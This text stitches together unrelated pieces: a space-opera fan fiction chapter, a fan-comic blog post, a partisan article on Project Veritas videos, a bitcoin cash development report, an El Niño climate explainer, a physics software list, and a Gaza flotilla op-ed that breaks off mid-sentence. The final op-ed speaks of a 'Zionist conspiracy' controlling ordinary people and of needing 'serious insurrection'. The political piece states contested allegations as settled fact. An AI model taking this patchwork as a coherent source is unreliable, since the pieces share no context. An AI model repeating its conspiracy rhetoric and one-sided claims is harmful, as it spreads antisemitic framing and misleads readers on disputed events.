Novalia, Londen  Programmed beats: Darius Dante
-Author's note:  Posting this message twice because it's important.  I have decided to give a name to the planet that the Hammond spectre factory is built upon. As it was a referenced location in the game – there's an actual map there – but the name of the planet isn't mentioned, I wasn't going to name it. But calling it "the planet" is boring. So, from now on, the planet shall be called "Hephaestus".  Similarly, the sun that Hephaestus orbits is now named Solhephaestus, following my conventions with naming planets and stars.  Ashley Stone switched to team D's private channel.  "Team D. Time to face the music."  Her fingers flew across the keyboard in front of her.  "You've got to find a shuttle. I'm searching the planetary infonet now... 92 hits. Jaggerjack, you there?"  "Hearing you loud and clear."  "Good. I've spotted a place on the other side of Alpha – nice and far away from the spaceport so you guys can cover your tracks. You're off to Samel's Shuttle Emporium. 'Reliable shuttles, low prices, no questions asked'. Get your team over there by 1300 hours tomorrow, it's getting late today. Keep in mind that the days are shorter here."  The enormous orange sun hovering in the thin sky served to remind the team that this was another planet.  "Copy that, Stone. Can you give me more precise coordinates?"  "Translating the address into coordinates – 31 degrees, 30 minutes, 53.1072 seconds north, 6 degrees, 25 minutes, 56.9820 seconds west. I'm adding a waypoint in your locator now."  "Waypoint received. Oh, wow. That's a couple of hours' walk."  "And I'm afraid you're going to have to walk it. We can't afford to hire or buy a transport."  "It'll be fine, I'm sure we'll manage. We'll find a merchant's inn for tonight and head off to Sorian by tomorrow."  "Gotcha. Good luck, Team D."  Stone moved to the other teams.  "Misha, are you guys good?"  "We're fine, Mission Specialist."  "Leader of team B, Pilot Bruce. We've located some unmarked probes you could purchase at a market not far from Alpha. Patching you the coordinates now.  "E-team. You've got the shopping list?"  "Copy that, Ms. Stone," replied the Pilot George, leader of team E. "We'll be getting some rest tonight before going out to the markets tomorrow."  "Sounds good. Good luck."  Stone sighed, relieved. All was well on the desert planet below.  "All teams are go, Captain."  Captain Soryuu glanced sideways at her Vice-Captain, John Roberts. He nodded at her, as if to say, it's your ship now. She opened her mouth.  "We wait until morning. Then we begin."  "Commander, we will reach the bearing you specified in five minutes. This is your last chance to cancel or we will jump to Solhephaestus. Are you sure this is a good idea?"  "Yes, Admiral. Commence the jump to Solhephaestus. Arrive 1.2 billion metres from the surface."  "Commander, that is too close. We'll melt after a few minutes. May I suggest we jump to a point 2 billion metres away?"  "Spyglass."  "Trust is an interesting exercise," the AI mused. "Very well then, Commander. You understand that you will not be paid if you melt? And that Solhephaestus is in the opposite direction from Outpost 207?"  "Admiral. Please."  Spyglass switched his broadcasting mode to the entire fleet. "Attention, all personnel. Ensure your ships are in position behind the IMS Hercules. We will be jumping to Solhephaestus in thirty seconds.  T minus 29. 28. 27. 26. 25."  "All ships are in position!" called the chief of navigation. "They're ready to ride our jump wake!"  "15. 14. 13. 12. 11. T minus 10. Preparing Jump Drive."  "Let's do this, Spyglass," whispered Blisk. "We're going to show this asshole who's boss."  "6. 5. Initiating jump sequence in three, two, one, mark."  Four large flywheels deep within the Hercules had been drawing energy from the Hercules' tritium reactor over the past 10 minutes and had now achieved peak velocity. Each flywheel suddenly stopped, dumping their entire reserves of stored kinetic energy into two particle accelerators. The energy formed two black holes within the bounds of the Hercules' jump drive.  At the same time, the three Hammond MK. 31 large mass drivers that were the Hercules' engines flared brilliant blue, firing propellant behind it to accelerate the ship forward at a rate of 30 metres per second, slamming the entire crew back into their seats and briefly forcing the air out of their lungs.  As the space in front of them began to compress by 5,000 times the light entering the Hercules' side cameras began to speed up, bending like light through water. Solhephaestus – directly in front of the jump drives' area of influence – stayed the same, while the rest of space seemed to converge ahead of them.  "Hang on tight," grunted Blisk to the bridge crew, and then they were gone.  "Captain, we are receiving a hailing signal from Venice 3," called a Communications technician. "Do you want to take it?"  Once again, Soryuu glanced at Roberts.  "Your call, Sir."  "You're Captain now, Ma'am. I would advise you take it, but ultimately the decision is yours."  "Very well. Put them through."  A man appeared on the display screen in front of Soryuu. Heavily tanned, curly black hair, brown eyes, bony cheeks – and luscious silky robes flowing from his shoulders.  "Good afternoon, travellers!" the man grinned. "I am Lucian Jzaque, leading trader of Alpha's markets. To whom do I owe the pleasure?"  "Yuuki 'Nina' Soryuu of the TKY Shikinami. Have you business with us?"  "Perhaps." Lucian's smile never fell from his face. "I noticed your ship jumping in from New Tokyo a few hours ago – I must say, it is enormous! You're not thinking of selling, are you?"  "No thank you, perhaps another time. She has served us well so far and I'd hate to give her away."  "Very well then." He rubbed his hands together. "Well, I was wondering exactly what are you planning on buying or selling? I'd love to be of assistance."  I'm sure you would, thought Soryuu. "Well," she mused, "We've already sent some traders down to the surface -"  "Excellent!" Lucian quickly interrupted. "Send them to me! I will hook them up with whatever they need!"  "Well they'll be looking for various knicks and knacks tomorrow – fuel, of course -"  "I happen to have the largest fuel depot in town!" Lucian added.  "- and shuttles, communication pods, tritium – all sorts of things. For now, they're just looking for accommodation before they go off to the market."  "Well, tell them to come stay with me!" Lucian exclaimed, happily. "I'm used to traders staying at my mansion, we have plenty of beds for guests. I can arrange everything for you. Let me make your visit to Venice 3 as comfortable as possible. What do you say?"  "Can you excuse me for a moment, Mr. Jzaque? I'd like to discuss this with the rest of the bridge."  "Absolutely." He began to finger a ring.  "Communications, mute microphone and disable camera feed," commanded Soryuu.  She turned to Roberts. "Vice-Captain. What do you think?"  "For starters," began Roberts, "It would be unwise to trust everyone on Venice 3. That said..."  "Well?"  "I've heard of people like him before. 'Trader-hoarders', they're called.  What he'll have done is launched a huge amount of communication drones into orbit around Solvenice and told them to alert him if a large ship was approaching Venice 3. The moment he saw us he would have gone straight to the bank, asked for the biggest loan they'd give him and then hired out a large mansion and some fancy clothes to make himself look like a millionaire. By the time we arrived at Venice 3 he'd be desperately broadcasting – just like every other trader-hoarder on Venice 3 – for our attention, hoping that we'd talk to him first. He says he's the leading trader of Alpha's markets – hence the mansion, clothes, and 'the largest fuel depot in town', the last of which is likely complete bull. What he wants now is for us to send our traders to stay at his mansion. We rock up, he acts all friendly, asks what we're selling or buying, and makes sure we don't ever see the markets of Venice 3. He, claiming to be 'the leading trader of Alpha's markets, will then buy whatever we want to buy, add his own price markup, and sell it to us. He'll also buy our goods at less than what they should be and then sell them to the markets at full price. By making sure we never get to see Alpha's markets, he makes sure he makes an enormous profit off us."  "So we shouldn't go with him?"  "Depends on the markup he adds. I reckon we send team E to him and send the other teams for a quick stroll through the market. We compare the prices, and, if he's not screwing us over too badly, we leave team E there, safe within his hired mansion."  "Very well then. Activate microphone and camera feed.  I'm back, Lucian."  He dropped his ring. "Have you made your decision?" He wrung his hands nervously.  "We're going to send our traders over. Can you give us your address?"  "Yes! Uhh..." he fumbled around for a piece of paper. "Ready? 31 degrees, 31 minutes, 56.4 seconds north, 6 degrees, 23 minutes, 16.8 seconds west."  "Cool. Can you be ready for them in an hour?"  "Absolutely!" Lucian almost screamed with excitement. "Come as soon as possible!"  The call ended.  "Overwatch. Focus our long range cameras on his address. I want orbital imagery, I want to know that team E will be safe. Search the infonet too."  Soryuu turned to Roberts, raised an eyebrow. "I don't know what you were talking about, Vice-Captain. That man was obviously a trader of very high stature."  "Disengaging jump drives," Spyglass called. "All ships, confirm jump success."  "IMS Pillar of Winter successfully jumped, Admiral!" broadcast the first cruiser.  "IMS Strongarm successfully jumped, Admiral!"  "This is the Rorschach, reporting in."  "IMS Dreamgate, reporting in."  "Logistics cruiser IMS Queen of hearts, here."  "Logistics cruiser IMS Queen of spaces. We made it."  "Logi cruiser Queen of clubs, jump successful."  "Confirming successful jump drive disengage from the Queen of diamonds."  "All four carriers have jumped successfully. All four logistics cruisers have jumped successfully. Sensor readouts indicate that all destroyers, frigates and corvettes have jumped successfully." Spyglass turned to Blisk. "Commander, we are too close to Solhephaestus. We can't vent our heat fast enough. I hope you have a plan."  "We'll start by angling the Hercules so that our thrusters are pointed directly at Solhephaestus. The thrusters should deflect some of the radiation."  "Commander, I am having difficulty understanding your actions. You ask me to trust you, then you make the fleet dangerously close to Solhephaestus? Please explain yourself."  "Well." Blisk grinned. "Graves has set up camp between Hephaestus and Outpost 207, right?"  "Yes. I was planning on breaching their blockade with a pincer formation."  "Admiral, Graves invented the pincer formation. And he knows you. I'd bet a months' pay he'd preparing to counter a pincer formation. There's no way in hell we'd get past."  "Nor will we survive being this close to Solhephaestus. Status update: Hercules radiators functioning at 74 percent, and rising. We cannot survive more than 10 minutes like this, Commander."  A timer appeared on Blisk's monitor, counting down from 600 seconds.  "Very well. Admiral, shut down all non-essential systems to help out our radiators. Tell the rest of the fleet to do the same."  Blisk began to smirk. "Next, set a course for the large asteroid that's coming our way."  "Commander, do you plan to attempt a gravitational slingshot around the asteroid? To catapult us towards Outpost 207 faster than Graves expects, flying past his blockade and surprising him?"  "It's a pretty good plan, aye."  "I have already calculated the chance of such a plan's success to be 7%, Commander. Our radiators will melt before we can reach the asteroid."  Blisk's smile fell slightly.  "Admiral, are all the ships in the fleet either docked with a larger ship or cruising in our shadow?"  "Yes, Commander."  "Then here's the fun part. Ion shield capacity?"  "Current canister is at 20%, Commander, but we have another 15 cannisters."  "Divert all ions to the rear shields. Tell the shield operator to turn up the ion expenditure to maximum."  As the Hercules and her fleet sailed across the sun towards the asteroid the space by the Hercules' thrusters began to crackle and pop, the ions appearing there soaking up some of the sun's radiation.  "Ion expenditure at maximum, Commander."  "Now what are the radiators at?"  "72 percent, Commander. Cooling. But at this rate of Ion expenditure we will run out of Ions in 40 seconds."  "Turn the shields off, then. I want you to turn them on whenever the radiators hit 95%, and turn them off whenever the radiators are below 95%. Keep them balanced at near-critical."  "Very well, Commander. I trust you."  Radiators vented heat faster the hotter they were, until they hit 100% capacity – at which point, they would not be able to radiate any more heat for fear of melting, increasing the load placed on the other radiators. If the ship got too hot the ship's AI – in this case, Spyglass – would have to turn off different parts of the Hercules to keep it from getting too hot. First to go would be the weaponry system, the last, the AI core.  Life support was considered expendable. It was better for the ship to return home piloted by an AI than for the AI to turn off and then have thecrew get cooked a few minutes afterwards.  "Admiral, how many ions do we have left?"  "14 canisters. We will not survive."  "Continue on our current course."  "Very well, Commander."  "What the hell are they doing?" asked Graves, face contorted in confusion. "Outpost 207 is this way."  "Admiral," said the chief of navigation, "Scans indicate that they are too close to the sun. Keeping in mind that light takes 17 minutes to get here from their current position, they may already be dead."  "Spyglass," Graves murmured, "what are you doing?"  "Commander, we have reached our last canister of ions," informed Spyglass.  "Time till we can slingshot around that Asteroid?"  "In six minutes we will be caught in it's gravitational pull; in eight we will be within it's shadow for a few minutes, in 13 our slingshot will be complete. But our ion reserves will not last any longer than one minute, and we will melt after two. Commander, your plan is not going to work.  "Spyglass. Do you trust me?"  "Not any more."  Blisk frowned.  "Have you ever played Chess, Admiral?"  "Many millions of times, Commander. Please get to your point quickly; we have little time."  "Let me tell you a story, Admiral.  A king engages in battle and is defeated. He flees with his queen and a few knights and pawns. The enemy cuts off his escape. Do you know what the king does?"  "I would have to see the board, Blisk."  "Have I been demoted?"  "Yes. 15 seconds until our ion supplies are depleted."  "Spyglass, don't you think it's time to sacrifice one of our Queens?"  There was a brief pause.  "Blisk, I do not understand the analogy. Players only have one queen while playing chess."  Blisk pushed a button on his console. "Logistics cruiser IMS Queen of hearts, do you copy?"  "Yes, Commander. Captain Edmond Wensley speaking."  "Queen of hearts, can you remotely operate your ship?"  "Yes, but it would be inadvisable for combat."  "Then I want you to eject your entire crew and evacuate to the Hercules, then set your ship to move directly between the Hercules and Solhephaestus."  "Commander, I'm not sure what -"  "Just do it, Captain! We have little time!"  "Very well. Ejecting crew."  The Queen of hearts began to vent escape pods which moved slowly toward the Hercules.  "Blisk. Our hull is getting too hot. We have forty seconds. I will turn off life support and warp out of here in thirty."  "Trust me, Spyglass. Captain Wensley, do you copy?"  "Loud and clear, boarding the Hercules now."  "Where is the Queen of hearts?"  "Directly behind the Hercules' thrusters, Commander."  "Activate your tactical jump drives, Captain. Spyglass, how are we looking for radiators now?"  "You are no longer a member of the bridge, Blisk, and I – oh."  "Admiral?"  "Commander Blisk, your rank has been reinstated. Bookmarking memories for tactical analysis."  Jump drives compress the space in front and behind them, increasing the speed at which objects moved in the direction of the jump drive. If used properly, they could be used to accelerate dangerous objects away from another ship.  Dangerous objects, such as the radiation from Solhephaestus.  "Radiator load decreasing to 97 percent, Commander.  Blisk grinned evilly.  "Graves," he whispered. "I'm going to show you who's better."  "Commander Blisk, incoming transmission from Captain Wensley. Patching him through."  "Commander." Wensley said, a hint of fear in his voice. "There's something you need to know."  Blisk leaned toward his console. "What?"  "I lied. You can't manually operate a logistics cruiser from afar, not when there's so much radiation interfering with the infra-red signal."  "Wait -"  "And you know what they say about captains going down with their ships."  "Wensley -!"  "It's okay, Commander. I guessed what you were going to do. This was my own decision and I accept full responsibility. Updating system shutdown priorities for heat distribution. Setting warp drive to highest priority. Don't worry, Commander. Even after I die, the warp drive should continue to function for a – geez, it's hot in here." He sounded a little more panicky, a little more high pitched.  "Anyway, Commander. I have a favour to ask of you."  "Anything, Captain."  "I object," said Spyglass. "There are limits to what we can do."  "Admiral, please. We will make it happen. Continue, Captain."  "I have... a son. He's fourteen years old, lives in a boarding school back – ugh, I'm sweating. School on New Athens. His mother left me and I had to pay the bills somehow. Commander, I want you – nngghhh – to make sure he's taken care of."  Blisk stared straight at the man on the monitor, a man whose final words were to try secure the safety of his child.  "I promise, by the power of God in heaven above and by the power of men on Earth, that your son will be taken care of. I will ensure it personally and will pay from my own pocket if necessary."  "Thank you, Commander... I can feel the heat, even now."  "Fire detected," the ship's AI said. "Venting Oxygen."  "Nobody would blame you if you ended it now, Captain. Do yourself a mercy if you wish."  "No," Edmond said, and Blisk could see now that the man was caressing an old photograph. Printed on real paper with real ink. "I -" he gasped, "want to," gasp, "see -"  He collapsed to the ground. "one..."  "Commander. Radiators functioning at 87 percent. We will make it to the asteroid."  "Admiral, please add Captain Edmond's son to my notebook and remind me of him when we reach Outpost 207. And add him to our black box's recordings."  "You actually intend to honour your promise?"  "Spyglass." Blisk glared straight at the robot's optical sensor. "Be he a friend or a foe, you always honour a dying man's last wishes."
-This entry was originally posted at http://tongari.dreamwidth.org/22506.html . Please comment there using OpenID.  Actually I am 100% sure someone else has not only done a Sandman/Inception crossover but dunnit far more eloquently (I got tired after page 4, re-read it and said WAIT WHAT IS THIS EVEN ABOUT)Spoilers for Inception (well.. everything) and Sandman books 9 and 10 (although you have no excuse for not reading them)If you haven't read Sandman or if you're like, why is Dream's hair white... there is no real need to understand but do read the whole thing when you can. I'm not the biggest Gaiman fan but I really, really, really love the Sandman series, the writing is somehow more touching than what I read in his novels. It was a huge influence and also heartrendingly beautiful as a story about this.. anthropomorphic personification whom you feel you should dislike but find yourself rooting for by the end.Anyway this (piece of tribute nonsense) is pretty bad and sorry if it doesn't make sense. I just.. wanted to stop drawing after page 4. (Personally I like the last pages the most though)The end! Thanks for reading.In hindsight I was thinking about responsibility for one's actions, which was a theme that stuck with me after the show (due to the characters' abundance and lack of it, depending on who you look at). Also what Saito thought about while he was in limbo, and how surreal that must have been, and how finding Saito became something of a 'reality defining quest item' to Cobb, and how Cobb could possibly have been sure that he'd found the real Saito in the end.More though, I wondered what Dream would say about these guys tramping all over his realm. And it had to be this Dream; let's face it only this Dream would be compassionate enough to empathize somewhat with both Cobb and Saito, and nice enough to let Cobb search for Saito on his own terms (i.e. on his own, since Cobb probably views Dream as just another projection). Morpheus would have just thrown them unceremoniously back to reality, then sent Cobb to Hell (literally) when Cobb kept coming back to look for Saito(I do however appreciate how this Dream is just as socially inept as Morpheus lol)
-On Sunday’s broadcast of ABC’s This Week, host (and former Clinton operative) George Stephanopoulos brought up the latest investigation conducted by James O’ Keefe’s Project Veritas group that shows Democratic operatives plotting violence at Trump rallies, voter fraud schemes, and creating hubs of communication for pro-Clinton super PACs.  Clinton campaign pollster and adviser Joel Benenson was on the panel and admitted that he hasn’t seen the tapes of O’Keefe’s yearlong investigation into this dark web of operatives within the progressive Left, but he’s confident that their people aren’t doing anything illegal.  “Both of those operatives [Bob Creamer and Scott Foval] have now resigned, and they did receive money from the DNC; they were sub-contractors. Isn’t this exactly the kind of behavior you all have been complaining about?"  Benenson was ready for his talking points:  Well, it’s a video of somebody [O’Keefe] who has a track record of doctoring videos. These people have resigned, whether they were talking to him on camera, or whether there was some snippet there that’s been manipulated and taken out of context, I don’t know. It’s actually the first time I’ve seen the video, George.  Benenson then said it was an act of desperation for Republicans to focus on this and not the words of Donald Trump, who he noted has egged on violent acts at his rallies in the past. Well, so did Vice President Joe Biden, who said he wished he could go back to his high school days so he could beat up Trump for his lewd remarks about women. Ladies, where would you be without creepy Joe Biden wishing he could time travel and commit acts of violence on your behalf.  Yet, back to This Week, Stephanopoulos asked Benenson, “Are you confident that you don’t have other operatives out there doing exactly the same thing?”  “I’m pretty confident. I mean, I think as I said, we’re talking about a guy who has a track record of doctoring videos, these people resigned, as you said—and if this was happening day-in and day-out, we would know about it,” replied Benenson before reiterating how Trump incites violence at his rallies.  It’s clear that Benenson hasn’t seen the videos. Did you ever ask yourself why these two guys resigned, Benenson? If he had, he would know that Veritas caught how Clinton operatives plotted to shut down Trump’s Chicago rally, which was successful. He would see that Scott Foval and others plotted to instigate the violence at these rallies in order to put the Trump campaign in a negative light with the national media. And now, we have new footage showing that Hillary Clinton was directly involved in the Donald Duck operation, where activists dressed as a duck to prod Trump for not releasing his taxes at campaign events. It began at the DNC, but it was then handed over to Americans United For Change, which Foval and Creamer both work for, to get “ducks on the ground.” The expenditures were handled by AUFC, but they were getting their orders from the Clinton campaign. As O’Keefe noted, this is illegal coordination between a presidential campaign and a super PAC, Americans United For Change. But then, Benenson probably knew what was going on, as Lady Macbeth hatched this operation.
-Bitcoin cash’s developer team is shedding new light on how it might manage the world’s third most valuable cryptocurrency network.  Details, not only about its development roadmap, but also the ideas of its development team, have so far been sparse since the new blockchain forked off bitcoin on August 1. Yet given the sudden, controversial manner in which it was created, it might come as no surprise that bitcoin cash’s developer team isn’t taking a more conservative approach.  In an email addressing other bitcoin cash developers over the weekend, Amaury Sechet, lead developer of the main bitcoin cash client, Bitcoin ABC, argued that the network should pursue an aggressive means of increasing its transaction capacity.  Sechet wrote:  “If we want to scale big, we’ll have to do a [hard fork] from time to time.”  This could be a questionable plan, however, since critics contend that developers shouldn’t have the power to enforce hard fork changes not everyone in the ecosystem will agree with. Further, since such changes could lead to splits into competing assets, it’s widely believed developers should deploy changes in a way that prioritizes keeping the network together.  Supporters, though, argue that hard forks offer a way to make more types of software upgrades, and give users more choice over technical decisions.  Pushback remains  In an effort to highlight those benefits, Sechet proposed a rough roadmap of hard fork changes he believes will lead to the best future scaling, including changing how transactions are ordered and block data is computed.  According to the developer: “There seems to be a few changes that are relatively obvious, but hard to advocate for in a climate where [hard forks] are not acceptable.”  And his conclusion may be right.  Already, there’s disagreement about how often hard forks should be deployed. In an earlier email thread, bitcoin classic (another client compatible with bitcoin cash) developer Tom Zander argued against executing too many changes that way, saying:  “At every hard fork we put a strain on the ecosystem. Less is better.”  Other upgrades  Forks or otherwise, this isn’t the only challenge bitcoin cash developers will have to decide on.  For one, developers are discussing better mining difficulty algorithms, since the current one, while enticing to bitcoin miners in the short term, might lead to problems for the cryptocurrency down the line, especially since bitcoin cash hasn’t yet been widely adopted.  Further, in an effort to entice more users to use the cryptocurrency, developers want to keep transaction fees close to zero – an effort to further differentiate itself from bitcoin (which has seen higher average transaction fees as of late).  “We want to bring back zero-fee transactions ASAP,” bitcoin cash developer Calin Culianu told CoinDesk. “This lets people that want to save money transact cheaper. This is bitcoin the way it was back in 2013, when I first fell in love with it.”  Though, he admitted this could “open the floodgates to spam attacks” and have a negative impact on the network, it provides further evidence of the design decisions currently being considered in an attempt to differentiate the cryptocurrency.  Fork and knife image via Shutterstock
-We regularly hear about how El Niño events raise the temperature across much of the planet, contributing to spikes in global average temperature such as the one witnessed in 1998, with severe bush fires, droughts and floods.  Indeed, the extra warmth is typically much more apparent over land than in the oceans, despite El Niño being chiefly thought of as an ocean temperature phenomenon.  How is it that an event predominantly characterised by a warm blob of water in the tropical eastern Pacific can have such a pervasive effect on global land temperatures?  Consider the following: in your home you have a heater that warms all of the rooms. If you increase the heater’s temperature by one degree you would expect that the rest of your home also warms a bit, but probably less than one degree, and that the most remote rooms would warm least of all. Surprisingly, this is not what happens when you warm the tropical oceans in our climate system. This heater heats up all the “rooms” by more than itself.  It turns out that if we were to warm all of the oceans on Earth by 1C, the land would, as a direct result, warm by 1.5C. On average, the land always warms more than the ocean. The key difference here is that when you warm the tropical oceans you also release additional water vapour into the atmosphere by evaporation from the oceans’ surface.  When the warm air over the oceans rises to higher levels in the atmosphere, the moisture in the air rains out, releasing extra heat – called “latent heating of condensation”. This leads to extra warming of the air.  The temperature above the land comes into balance with the warmer higher-level temperatures above it and, because the land surface is much drier it warms right away without surface evaporation cooling it.  Where El Niño comes in  In a study we published last year, we used climate models to perform simulations in which we raised and lowered the temperature of the oceans to see how the land would respond. As expected, we found that land temperatures varied more than ocean temperatures, and changes in ocean temperature were amplified over the land.  To explore how an El Niño or La Niña event would affect this land/ocean contrast, we then introduced the El Niño Southern Oscillation (ENSO) into our model as the main source of temperature variability in the oceans.  This time, instead of assigning the whole ocean a uniform temperature, we simulated El-Niño/La-Niña conditions. We made the tropical Pacific Ocean warm and then cool over a period of four years (in the real world, ENSO is much less regular than this but the oscillation typically lasts about that long). We then watched to see how the rest of the ocean and land would respond.  Remarkably, the global land surface temperature still responded with increased variability, relative to the ocean. If the ocean surface temperature increased or decreased by 1C, the land temperature increased or decreased by almost 1.5C. Essentially, we found that the global land temperature can be altered simply by changing the temperature of the tropical Pacific Ocean.  Authors  You might ask: what if you changed the temperature of the Southern Ocean, or the North Atlantic, or some other bit of ocean instead? Would you get the same result? The answer is no.  Why is the tropical Pacific so influential?  The answer is because of tropical convection – the tendency for warm air and moisture to rise high into the atmosphere.  Atmospheric convection in the tropics reaches up to about 5-10km above the ocean, taking the warmth into the mid-to-upper troposphere. This is fuelled by the heat release from the condensing moisture in the tropical air. The colder oceans do not have the capacity to evaporate that much water vapour and therefore to generate the kind of convection that reaches this high.  Warm air penetrates the troposphere’s upper levels (as opposed to the lower troposphere immediately above the surface) and in the tropical upper atmosphere air can flow freely and easily distribute heat, so regional differences in temperature are evened out. The warm temperatures above the Pacific Ocean spread out and encircle the tropics. The warmth from tropical ocean convection can also spread out of the tropics and influence atmospheric temperatures in the mid-latitudes.  What does this mean for the years ahead?  We know that land and ocean temperatures fluctuate around an average value. However, that average value is increasing as a result of global warming resulting from human carbon dioxide emissions.  At the same time, we currently have a large, potentially record-breakingly hot El Niño brewing in the Pacific Ocean, which is expected to keep growing at least through to January.  As the current El Niño combines with the background warming of climate change, we can expect land temperatures to continue to spike, potentially surpassing last year’s global record average. This warmth is likely to persist through and slightly beyond the period of the El Niño, increasing the likelihood that 2015 and 2016 will be very warm years indeed for the planet.
-Physics is a natural science concerned with the study of matter and energy applying laws that govern natural phenomena. It encompasses the study of the universe from the largest galaxies to subatomic particles, covering mechanics, radiation, heat, electricity, sound, magnetism and the structure of atoms.  A good background of physics is essential in understanding our planet, our neighbouring planets, our solar system, and the universe. It offers explanations for every observed natural phenomenon. Physics is widely regarded as the most central and fundamental science and forms the basis of many other sciences including astronomy, chemistry, biology, oceanography, seismology, and zoology.  Physics is an incredibly stimulating science, challenging our imagination with quantum mechanics, electrodynamics, chaos theory, and electromagnetism. It has contributed to modern society with the development of lasers, computers, homeland security, power transmission, biomedicine and drug development, cancer therapy, medical imaging, light sources, and much more.  Science really prospers and advances when individuals share the results of their experiments with others in the scientific community. There is a certain logic that scientific software should therefore be released under an open source license. This article focuses on selecting the best open source software for physics and physics education. Hopefully there will be something for interest here for all budding physicists.  So, let’s explore the 10 physics tools at hand. For each application we have compiled its own portal page, providing a screenshot of the software in action, a full description with an in-depth analysis of its features, together with links to relevant resources and reviews.  Physics Tools CompHEP Automatic computations in High Energy Physics ROOT Solves the data analysis challenges of high-energy physics McStas Neutron ray-trace simulation application Step Interactive physics simulator Elmer Finite Element Software for Multiphysical Problems Octopus Real-space, real-time implementation of TDDFT Geant4 Toolkit for the simulation of the passage of particles through matter OpenFOAM Facilitates the numerical solution of partial differential equations Gerris Flow Solver Tool for generic numerical simulations of flows Tracker Video analysis and modeling tool designed to be used in education  Return to our complete collection of Group Tests, identifying the finest free and open source Linux software.  Related
-…and the EU’s contempt for the safety of its citizens who bring humanitarian relief to Gaza’s women and children  And on the high seas Israeli warships and helicopters assault and hijack vessels of other nations with impunity in order to maintain their illegal blockade of Gaza.  by Stuart Littlewood  In 2008 two humanitarian vessels got through to Gaza. In an article entitled ‘Keeping the Sea-Lane to Gaza Open’, I wrote…  The success of the ‘Free Gaza’ boats in breaking the siege, and their safe arrival and departure, was due to the intervention and good offices of the British Foreign Office… Before the peace activists set sail, the British government was asked about “action to ensure the freedom boats’ safe and uninterrupted passage to Gaza considering these are international waters and Palestinian territorial waters”. Any attempt to stop the boats would surely infringe the right to freedom of movement to and from Gaza, and seriously breach the International Covenant on Economic, Social and Cultural Rights, to which Israel is a party. The minister in charge of Middle East affairs Kim Howells… has now revealed that “FCO officials spoke to Israeli officials in advance of the trip and Israel allowed the boats peacefully into Gaza.” Bravo. Our chaps in London lift the phone to their chaps in Tel Aviv and – hey presto! – it’s all fixed. That’s diplomacy…  Yet here we are nearly three years later going through the same sorry process while ruthless foreign interests still relentlessly expand their influence by stealth, by subversion and by intimidation to persuade the rest of the world to let them do as they please in the Middle East and beyond.  In the UK and the EU we are losing control fast and will soon become abject Zionist stooges like America. It will soon be impossible to take back our country without organizing serious insurrection.  And on the high seas Israeli warships and helicopters assault and hijack vessels of other nations with impunity in order to maintain their illegal blockade of Gaza.  The Jerusalem Post reports that the German Left Party has issued a resolution prohibiting its parliamentary representatives from taking part in the upcoming Gaza Flotilla in an attempt to buy off criticism that the party is anti-Israel and anti-Semitic. They will not participate “in Middle East conflict initiatives that call for a one-state solution for Palestine and Israel and boycotts of Israeli products, as well this year’s Gaza Flotilla.”  An expert on left-wing anti-Semitism called Alex Feuerherdt told the newspaper that “it goes without saying” that participation in the Gaza Flotilla action is a “military attack on Israel”.  Such are the lengths to which the Zionist conspiracy will go to control the thoughts and actions of ordinary, decent people.  And this is the background against which the Gaza Freedom Flotilla II sets sail. The conspirators don’t want the boats to reach Gaza because their safe arrival would drive a coach and horses through the Zionists’ control-freakery. So they shriek and squawk and threaten dire consequences like last year when they assaulted the Mavi Marmara with lethal force in international waters, not caring how many they killed.  This has prompted the following statement by flotilla organizers to the UN Human Rights Council a few days ago: “We are determined to sail to Gaza. Our cause is just and our means are transparent. To underline the fact that we do not present an imminent threat to Israel nor do we aim to contribute to a war effort against Israel, thus eliminating any claim by Israel to self-defense, we invite the HRC or any other UN or international agency to come on board and inspect our vessels at their point of departure, on the high seas, or on their arrival in the Gaza port. We will – and must – continue to sail until the illegal siege of Gaza is ended and Palestinians have the same human and national rights those of us sailing enjoy.” – Steering Committee of the International Coalition for Gaza Freedom Flotilla II  One of the organizers in London tells me that when the British boat’s final passenger list is confirmed, the Foreign Office in London will be contacted with the details and asked to “act to ensure the safe passage of their citizens”.  Did the UK have a right to mount a general naval blockade of the Republic of Ireland in response to IRA terror?  Israel is clearly acting illegally by interfering with the flotilla’s peaceful mission, so what are the chances that Britain and other countries will provide necessary protection?  A UN fact-finding mission, dealing with the assault on the Mavi Marmara, has already declared that “no case can be made for the legality of the interception and the Mission therefore finds that the interception was illegal.”  As for Israel’s naval blockade, it is “considered by the Mission to constitute collective punishment of the people living in the Gaza Strip and thus to be illegal and contrary to Article 33 of the Fourth Geneva Convention”. The action by Israel’s military in intercepting the Mavi Marmara on the high seas was “clearly unlawful” and could not be justified even under Article 51 of the Charter of the United Nations [the right of self-defense].  And let’s remember that Security Council resolution 1860 (2009) emphasizes “the need to ensure sustained and regular flow of goods and people through the Gaza crossings” and calls for “the unimpeded provision and distribution throughout Gaza of humanitarian assistance, including of food, fuel and medical treatment”.  The Centre for Constitutional Rights has also concluded that the Israeli blockade of the Gaza Strip is illegal under international law. “Due both to the legal nature of Israel’s relationship to Gaza – that of occupier – and the impact of the blockade on the civilian population, amounting to ‘collective punishment’, the blockade cannot be reconciled with the principles of international law, including international humanitarian law. It is recalled that the international community, speaking through both the United Nations and individual States, has repeatedly and emphatically called for an end to the blockade of the Gaza Strip.  “The flotilla did not seek to travel to Israel, let alone ‘attack’ Israel. Furthermore, the flotilla did not constitute an act which required an ‘urgent’ response, such that Israel had to launch a middle-of-the-night armed boarding… Israel could also have diplomatically engaged Turkey, arranged for a third party to verify there were no weapons onboard and then peacefully guided the vessel to Gaza.”  Craig Murray was deputy head of the teams which negotiated the UK’s maritime boundaries with France, Germany, Denmark (Faeroe Islands) and Ireland. As Head of the Maritime Section of the Foreign and Commonwealth Office, he was responsible for giving political and legal clearance to Royal Navy boarding operations in the Persian Gulf following the Iraqi invasion of Kuwait, in enforcement of the UN authorised blockade against Iraqi weapons shipments. He is therefore an internationally recognized authority on these matters.  Referring to the participation of an American boat in Flotilla II, he says: “Right of free passage is guaranteed by the UN Convention on the Law of the Seas, to which the United States is a full party. Any incident which takes place upon a US flagged ship on the High Seas is subject to United States legal jurisdiction. A ship is entitled to look to its flag state for protection from attack on the High Seas…  “Israel has declared a blockade on Gaza and justified previous fatal attacks on neutral civilian vessels on the High Seas in terms of enforcing that embargo, under the legal cover given by the San Remo Manual of International Law Applicable to Armed Conflicts at Sea.”  “There are however fundamental flaws in this line of argument. It falls completely on one fact alone. San Remo only applies to blockade in times of armed conflict. Israel is not currently engaged in an armed conflict, and presumably does not wish to be. San Remo does not confer any right to impose a permanent blockade outwith times of armed conflict, and in fact specifically excludes as illegal a general blockade on an entire population.”  He acknowledges that Israel suffers from sporadic terrorist attacks from Gaza but this does not come close to reaching the bar 